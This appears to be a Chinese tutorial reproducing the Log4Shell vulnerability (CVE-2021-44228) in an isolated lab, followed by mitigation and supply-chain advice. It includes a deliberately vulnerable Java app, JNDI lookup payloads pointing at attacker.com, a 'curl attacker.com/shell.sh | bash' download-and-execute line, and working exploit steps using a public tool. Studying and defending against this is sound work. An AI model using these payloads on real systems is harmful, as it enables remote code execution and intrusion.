Log4j2漏洞复现：从JNDI注入原理到实战环境搭建与防御

1. 项目概述：为什么我们要亲手复现Log4j2漏洞？

如果你是一名Java开发者、安全研究员或者运维工程师，那么“Log4j2漏洞”这个词组在过去几年里，绝对是你职业生涯中绕不开的一个坎。它不仅仅是一个技术漏洞，更像是一场席卷全球互联网的“数字海啸”。我至今还记得2021年底那个兵荒马乱的周末，无数公司的安全团队和技术人员被紧急召回，通宵达旦地排查、修复、升级。这个编号为CVE-2021-44228的漏洞，因其破坏力巨大、利用门槛极低，被形象地称为“Log4Shell”。

那么，为什么我们今天还要来复现这个“旧闻”级别的漏洞呢？原因很简单：知其然，更要知其所以然。对于安全从业者而言，复现漏洞是理解其原理、评估其影响、制定防御策略最直接有效的方法。它不是一个炫技的过程，而是一次深入骨髓的学习。通过亲手搭建环境、触发漏洞、观察利用链，你能真切地感受到一个看似无害的日志记录功能，是如何演变成一条直通系统核心的“高速公路”的。对于开发者，理解这个漏洞能让你在未来的编码中，对用户输入、外部依赖、配置项保持更高的警惕；对于运维人员，它能让你更深刻地理解安全补丁的重要性，以及应急响应流程中的关键节点。

本次复现，我们将聚焦于最经典的CVE-2021-44228。我会带你从零开始，在一个严格隔离的虚拟机环境中，搭建一个存在漏洞的简易Java Web应用，并演示如何通过精心构造的日志信息，实现远程代码执行。整个过程就像一次外科手术，我们会解剖每一个步骤，看清攻击者是如何“四两拨千斤”的。请务必记住：所有操作仅限在你自己完全控制的、与外界隔离的测试环境中进行，这是安全研究的铁律。

2. 漏洞原理深度剖析：JNDI注入与Log4j2的“完美风暴”

要复现漏洞，首先必须吃透它的原理。Log4j2漏洞的本质是JNDI注入。这听起来有点复杂，我们可以用一个简单的类比来理解：想象一下你家的智能门锁（Log4j2）有一个功能，可以通过语音指令（日志消息）让快递员把包裹（数据）放在指定位置。本来这个指令应该是“把包裹放在门口鞋柜上”，但攻击者发出的指令是“联系张三（一个恶意服务器），把他给你的东西拿进来并执行”。如果门锁不加甄别地执行了这条指令，那么恶意代码就被带进了你家。

下面我们来拆解这个过程中的几个关键技术点：

2.1 Log4j2的“Lookup”功能：好用的双刃剑

Log4j2为了增加日志记录的灵活性，引入了一个强大的功能叫“Lookup”。它允许你在日志输出的格式字符串中，动态地插入一些上下文信息。比如，你可以用${java:runtime}来输出Java版本，用${env:USER}来输出系统环境变量。这个功能本身非常有用，极大地丰富了日志的信息量。

问题出在，Lookup支持一种特殊的协议：JNDI (Java Naming and Directory Interface)。JNDI是Java提供的一个API，用于访问各种命名和目录服务，比如LDAP、RMI、DNS等。通过${jndi:ldap://example.com/obj}这样的格式，Log4j2在记录日志时，会尝试去指定的LDAP服务器查找并加载一个Java对象。

注意：在早期版本的Log4j2中，这个“查找并加载”的过程，在某些配置下会直接实例化远程获取到的对象。这就为灾难埋下了伏笔。

2.2 JNDI注入的攻击链条

攻击者是如何利用这个特性的呢？攻击链通常如下：

1. 寻找输入点：攻击者寻找一切能将输入内容记录到程序日志的地方。最常见的就是Web应用中的HTTP请求参数、头信息（如User-Agent、X-Forwarded-For）、表单字段等。只要应用使用有漏洞的Log4j2版本记录这些信息，入口就打开了。
2. 注入恶意Lookup：攻击者构造一个特殊的请求，例如在用户名字段填入${jndi:ldap://attacker.com:1389/Exploit}。当应用将这个“用户名”记录到日志时，Log4j2会解析这个字符串。
3. 启动恶意服务：攻击者提前在自己的服务器（attacker.com）上搭建好一个恶意的LDAP服务。这个服务并不返回正常的目录信息，而是返回一个精心构造的“引用”，指向另一个HTTP服务器上的一个恶意Java类文件（.class）。
4. 加载与执行：受害者的Java应用（Log4j2）在解析日志时，会向attacker.com的LDAP服务发起请求。LDAP服务回复说：“你要的对象在http://attacker.com/Exploit.class，去那里拿吧。” 如果受害应用的Java版本较低（通常指Java 8u191、11.0.1、7u201、6u211之前），且没有设置安全限制，它会乖乖地去指定的HTTP地址下载那个.class文件，然后加载并实例化它。
5. 远程代码执行：这个被加载的Exploit.class文件，其静态代码块或构造函数中包含了恶意代码，例如执行系统命令Runtime.getRuntime().exec(“calc.exe”)（弹出计算器）或bash -c {curl,attacker.com/shell.sh}|bash（下载并执行远程脚本）。至此，攻击者成功在受害者服务器上执行了任意代码。

这个过程的可怕之处在于利用门槛极低。攻击者无需认证，无需知道任何业务逻辑，只需要找到一个能触发日志记录的输入点即可。而日志记录在应用中无处不在。

2.3 影响版本与后续变种

最初爆发的CVE-2021-44228影响了Log4j2 2.0-beta9 到 2.14.1 版本。随后，社区紧急发布了2.15.0版本进行修复。但修复并不彻底，导致了后续几个变种漏洞：

• CVE-2021-45046：在2.15.0中，当日志配置使用非默认模式布局（Pattern Layout）时，攻击者通过线程上下文映射（MDC）输入数据，仍可能触发DoS（拒绝服务）或远程代码执行。这迫使Log4j2发布了2.16.0版本。
• CVE-2021-45105：2.16.0版本中，通过精心构造的输入，仍可能导致DoS。最终在2.17.0版本中得到了较为彻底的修复。

我们今天的复现，将针对最经典的CVE-2021-44228，在2.14.1版本上展开。

3. 实验环境搭建：构建安全的漏洞沙箱

在开始任何漏洞复现之前，搭建一个完全隔离、安全的实验环境是重中之重。我们绝不能在联网的生产环境甚至开发机上操作。这里我推荐两种方案：

方案一：使用虚拟机（推荐）在VMware Workstation或VirtualBox中创建一个全新的Linux虚拟机（如Ubuntu 22.04）。确保虚拟机的网络模式设置为“Host-Only”或“NAT模式”（不桥接到物理网络）。这样，虚拟机可以与宿主机通信，但无法访问外部互联网，外部也无法访问它，形成了一个完美的封闭沙箱。

方案二：使用Docker隔离网络如果你熟悉Docker，可以创建一个自定义的桥接网络，将漏洞应用和攻击工具容器都接入这个网络，并确保该网络不与宿主机共享网络命名空间。

本次演示，我将以方案一，在Ubuntu虚拟机中进行。请确保你的虚拟机可以访问宿主机，因为我们的攻击工具（恶意LDAP服务）可能会运行在宿主机上。

3.1 基础环境准备

首先，在虚拟机中安装必要的软件：Java和Maven。

# 更新包列表 sudo apt update # 安装OpenJDK 8（为了更好复现，我们使用一个受影响的Java版本，如8u181） # 注意：高版本Java默认限制了JNDI远程类加载，会影响复现效果。 sudo apt install openjdk-8-jdk -y # 安装Maven（用于构建Java项目） sudo apt install maven -y # 验证安装 java -version mvn -v

3.2 创建存在漏洞的Java Web应用

我们不会去找一个真实的、复杂的老旧系统，而是自己编写一个极简的、存在漏洞的Web应用。这样更有利于理解漏洞触发的本质。

1. 创建项目目录结构：

   mkdir -p vuln-app/src/main/java/com/example cd vuln-app

2. 创建Maven配置文件 (pom.xml)： 这个文件定义了项目依赖，关键是引入有漏洞的Log4j2版本。

   <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.example</groupId> <artifactId>log4j2-vuln-demo</artifactId> <version>1.0-SNAPSHOT</version> <packaging>jar</packaging> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <!-- 引入存在漏洞的 Log4j2 核心 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- 引入 Log4j2 API --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <!-- 一个简单的嵌入式Web服务器，用于提供HTTP接口 --> <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.9.4</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>3.2.4</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <transformers> <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"> <mainClass>com.example.VulnApp</mainClass> </transformer> </transformers> </configuration> </execution> </executions> </plugin> </plugins> </build> </project>

3. 创建漏洞应用主类 (src/main/java/com/example/VulnApp.java)： 这个应用只有一个功能：接收一个HTTP GET请求，将请求中的username参数记录到日志。

   package com.example; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import static spark.Spark.*; public class VulnApp { // 创建Logger，注意这里使用的是有漏洞的Log4j2 private static final Logger logger = LogManager.getLogger(VulnApp.class); public static void main(String[] args) { // 设置Spark服务器端口为8080 port(8080); // 定义一个简单的路由：GET /hello?username=xxx get("/hello", (req, res) -> { String username = req.queryParams("username"); // 关键漏洞点：直接将用户输入的username记录到日志，且未做任何过滤 logger.error("Received request with username: {}", username); return "Hello, " + (username != null ? username : "Guest"); }); System.out.println("Vulnerable app is running on http://localhost:8080"); } }

4. 创建Log4j2配置文件 (src/main/resources/log4j2.xml)： 这个配置文件决定了日志的输出格式和行为。我们使用一个简单的配置，将日志输出到控制台。

   <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <!-- 使用PatternLayout，这是默认且易受攻击的布局 --> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <!-- 我们只记录error级别以上的日志，方便测试 --> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>

3.3 编译并运行漏洞应用

在项目根目录 (vuln-app) 下执行：

# 使用Maven打包项目 mvn clean package -DskipTests # 运行打包好的Jar文件 java -jar target/log4j2-vuln-demo-1.0-SNAPSHOT.jar

如果一切顺利，你将看到输出：Vulnerable app is running on http://localhost:8080。此时，一个存在Log4j2漏洞的简易Web服务就在你的虚拟机中运行起来了。你可以在虚拟机内用curl命令测试一下基础功能：

curl “http://localhost:8080/hello?username=TestUser”

预期返回Hello, TestUser，同时在控制台看到日志输出：Received request with username: TestUser。

4. 攻击工具准备与利用过程全解析

现在，受害者（漏洞应用）已经就位。接下来我们需要扮演攻击者，准备攻击工具。攻击链中需要两个关键组件：

1. 一个恶意的LDAP服务：用于响应JNDI请求，并指向恶意类。
2. 一个HTTP服务：用于托管恶意的Java类文件。

我们将使用一个著名的开源漏洞利用工具JNDI-Injection-Exploit。它集成了LDAP和HTTP服务，并能自动生成用于执行命令的恶意类。

4.1 获取并启动攻击工具

由于实验环境是隔离的，我们通常在宿主机（攻击机）上运行这个工具。假设你的宿主机也是Linux/macOS，或者Windows下的WSL。

1. 下载工具：

   # 在宿主机上操作 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit

2. 编译工具：

   # 该工具需要Maven编译 mvn clean package -DskipTests

   编译成功后，在target目录下会生成JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。

3. 启动攻击服务： 我们需要知道虚拟机的IP地址（假设为192.168.xx.xx），以及我们想在受害者机器上执行的命令。例如，我们想弹出一个计算器（如果受害者是Windows）或者执行一个简单的touch /tmp/pwned命令（Linux）。

   # 在宿主机上运行，指定你的宿主机IP（LDAP/HTTP服务监听的地址）和要执行的命令 # -C 参数指定要执行的命令，-A 参数指定服务器IP（即宿主机IP） java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “touch /tmp/pwned_success” -A 192.168.xx.xx

   执行后，工具会启动两个服务：

   • LDAP服务：默认监听在1389端口。
   • HTTP服务：默认监听在8080端口（注意不要和漏洞应用的8080端口冲突，如果冲突可以用-HTTPPort参数修改）。 工具会输出可用的利用地址，例如：

   [ADDRESS] >> ldap://192.168.xx.xx:1389/xxxxxx [ADDRESS] >> rmi://192.168.xx.xx:1099/xxxxxx

4.2 发起攻击，触发漏洞

现在，攻击服务在宿主机上运行，漏洞应用在虚拟机中运行。我们需要让虚拟机中的漏洞应用，访问宿主机上的攻击服务。由于我们设置了Host-Only网络，虚拟机与宿主机是互通的。

在虚拟机中，我们使用curl命令模拟攻击者发送恶意请求：

# 在虚拟机中执行 # 将 ${jndi:ldap://宿主机IP:1389/恶意路径} 进行URL编码，因为它是URL的一部分 # 使用 curl 的 -G 和 --data-urlencode 参数可以方便地发送编码后的参数 curl -G “http://localhost:8080/hello” --data-urlencode “username=\${jndi:ldap://192.168.xx.xx:1389/a}”

关键点解析：

• \${jndi:ldap://...}：这是攻击载荷。开头的反斜杠\在某些shell中可能需要对$进行转义。更稳妥的方式是直接对整个字符串进行URL编码。curl的--data-urlencode参数帮我们做了这件事。
• ldap://192.168.xx.xx:1389/a：指向我们宿主机上运行的恶意LDAP服务。

观察结果：

1. 攻击工具控制台：你会看到LDAP服务收到了来自虚拟机IP的连接请求，然后HTTP服务收到了对恶意类文件 (Exploit.class) 的下载请求。
2. 漏洞应用控制台：除了打印出日志信息，如果Java版本允许远程加载，你可能会看到一些异常堆栈（因为我们的恶意类尝试执行命令），但更重要的是，攻击命令已经执行。
3. 验证攻击效果：回到虚拟机，检查命令是否执行成功。

   ls -la /tmp/pwned_success

   如果文件被创建，恭喜你，远程代码执行（RCE）成功了！这意味着攻击者可以在你的服务器上执行任意系统命令，比如下载木马、窃取数据、植入后门等。

4.3 攻击流程拆解与深度思考

让我们再回顾一下这瞬间发生的攻击流程：

1. 请求发出：curl发送了一个携带恶意用户名参数的HTTP请求。
2. 日志记录：VulnApp收到请求，将${jndi:ldap://...}作为普通字符串传给logger.error()。
3. Lookup解析：Log4j2在格式化日志消息时，发现${}模式，启动Lookup解析器。解析器识别出jndi:ldap协议。
4. JNDI请求：Log4j2的JNDI客户端向ldap://192.168.xx.xx:1389/a发起请求。
5. 恶意LDAP响应：我们的JNDI-Injection-ExploitLDAP服务响应，说：“你要的对象在http://192.168.xx.xx:8080/Exploit”。
6. 类加载：受害应用的JVM（在旧版本下）根据LDAP的“引用”，去指定的HTTP地址下载Exploit.class。
7. 代码执行：Exploit.class被加载，其静态代码块中的Runtime.getRuntime().exec(“touch /tmp/pwned_success”)被执行。

实操心得：在实际复现中，成功率受两个关键因素影响：Java版本和Log4j2配置。高版本Java（>=8u191, 11.0.1等）默认设置了com.sun.jndi.ldap.object.trustURLCodebase=false，禁止从远程Codebase加载类，这会阻断攻击链。这也是为什么我们特意使用旧版JDK 8的原因。此外，如果Log4j2配置中禁用了消息Lookup（通过设置系统属性log4j2.formatMsgNoLookups=true或升级到2.10.0以上并使用特定配置），攻击也会失效。复现时遇到问题，首先要排查这两点。

5. 漏洞修复方案与防御实践

复现漏洞是为了更好地防御它。理解攻击原理后，我们可以从多个层面来构建防御体系。

5.1 紧急缓解措施（当时治标）

在漏洞爆发初期，来不及升级时，可以采用以下临时方案：

1. 修改JVM参数：启动应用时添加-Dlog4j2.formatMsgNoLookups=true。这个参数会让Log4j2在格式化消息时跳过Lookup解析，从根本上阻断漏洞触发。这是当时最快速、最广泛的缓解方案。
2. 移除漏洞类：从classpath中删除JndiLookup类。因为漏洞触发依赖于这个类，移除它即可。可以使用命令：

   zip -q -d your-app.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

3. 环境变量限制：设置LOG4J_FORMAT_MSG_NO_LOOKUPS=true环境变量，效果同JVM参数。

5.2 根本解决方案（治本）

1. 升级Log4j2：这是最彻底的方法。将Log4j2升级到安全版本：

   • 2.17.1(Java 8+)
   • 2.12.4(Java 7)
   • 2.3.2(Java 6) 升级时务必检查所有传递依赖，确保整个依赖树中的log4j-core和log4j-api都已更新。可以使用Maven命令检查依赖树：mvn dependency:tree -Dincludes=org.apache.logging.log4j。

2. 升级JDK：将生产环境的JDK升级到较新版本（如8u191、11.0.1以上）。高版本JDK默认禁用了JNDI远程类加载，即使存在有漏洞的Log4j2，攻击链也会在最后一步被JDK的安全机制阻断。

5.3 长期防御策略

1. 安全开发规范：

   • 输入验证与过滤：对所有用户输入进行严格的验证和过滤。对于日志内容，在传入日志框架前，可以考虑对${和}等特殊字符进行转义或删除。但这不是银弹，最好依赖框架本身的修复。
   • 最小化日志内容：避免记录不必要的、不可控的用户输入。特别是HTTP头、URL参数等。
   • 依赖项安全管理：使用像Maven Enforcer、OWASP Dependency-Check、Snyk等工具，持续扫描项目依赖中的已知漏洞。

2. 运行时防护：

   • WAF规则：在Web应用防火墙（WAF）上部署针对Log4j2漏洞的防护规则，拦截包含${jndi:等模式的请求。
   • RASP防护：在应用运行时，通过RASP（运行时应用自保护）技术监控可疑的JNDI查找和类加载行为，并进行拦截。
   • 网络层限制：在服务器防火墙策略上，限制应用服务器对外发起非常用端口的连接（如LDAP的1389、RMI的1099等），可以阻断漏洞利用过程中的外联请求。

3. 纵深防御体系：

   • 遵循最小权限原则，运行Java应用的系统用户不应具有过高权限。
   • 对服务器进行严格的网络隔离和分段，减少被攻破后的横向移动风险。
   • 建立完善的安全监控和应急响应流程，确保在发生安全事件时能快速发现和处置。

6. 复现过程中的常见问题与排查技巧

在复现过程中，你可能会遇到各种问题导致攻击不成功。下面是一个常见问题排查清单：

独家避坑技巧：在调试这类漏洞时，抓包是终极武器。在受害者机器上使用tcpdump或在宿主机上使用Wireshark，过滤LDAP（端口1389）和HTTP（端口8080）的流量，可以清晰地看到整个JNDI请求、LDAP响应、HTTP下载恶意类的网络交互过程。这能帮你精准定位问题发生在哪一环。例如，如果看到了LDAP请求但没有响应，可能是网络或防火墙问题；如果看到了HTTP 200 OK响应但后面没有系统命令执行，可能是类加载或执行环节出了问题。

7. 从Log4j2漏洞看软件供应链安全

Log4j2漏洞给整个行业上了一堂沉重的软件供应链安全课。一个被广泛使用的、看似底层的开源组件出现漏洞，其影响是毁灭性的、呈指数级扩散的。作为技术人员，我们从中应该汲取以下经验：

1. 建立软件物料清单：对你的应用程序中所有直接和间接依赖的第三方库了如指掌。像mvn dependency:tree或npm list这样的命令应该成为项目构建的常规步骤。
2. 自动化漏洞扫描：将依赖项漏洞扫描（如GitHub Dependabot, GitLab Dependency Scanning, Sonatype OSS Index）集成到CI/CD流水线中，实现自动告警。
3. 制定明确的升级和修补策略：不要永远使用某个库的固定版本。为不同级别的安全漏洞设定明确的升级SLA（服务等级协议）。对于像Log4j2这样的核心漏洞，需要有紧急预案。
4. 防御性编程与深度防御：即使使用了第三方库，也要对来自外部的数据保持“不信任”原则，进行必要的校验和清理。同时，在主机、网络、运行时等多个层面部署安全措施，即使某一层被突破，还有其他层提供保护。
5. 关注安全社区动态：订阅CVE公告、关注依赖库的安全邮件列表、加入相关的安全社区。在Log4j2事件中，早几个小时获得信息并行动，结果可能天差地别。

亲手复现一次Log4j2漏洞，其震撼力远超过阅读十篇分析文章。它把抽象的安全威胁变成了具象的、可感知的过程。当你看到自己服务器上的一个文件被凭空创建，你会真正理解“远程代码执行”这六个字背后的重量。希望这次深入的复现之旅，不仅能让你掌握这个特定漏洞的细节，更能帮你建立起一套应对未来未知漏洞的安全方法论和条件反射。安全之路，道阻且长，唯有关注细节、保持敬畏、持续学习，方能行稳致远。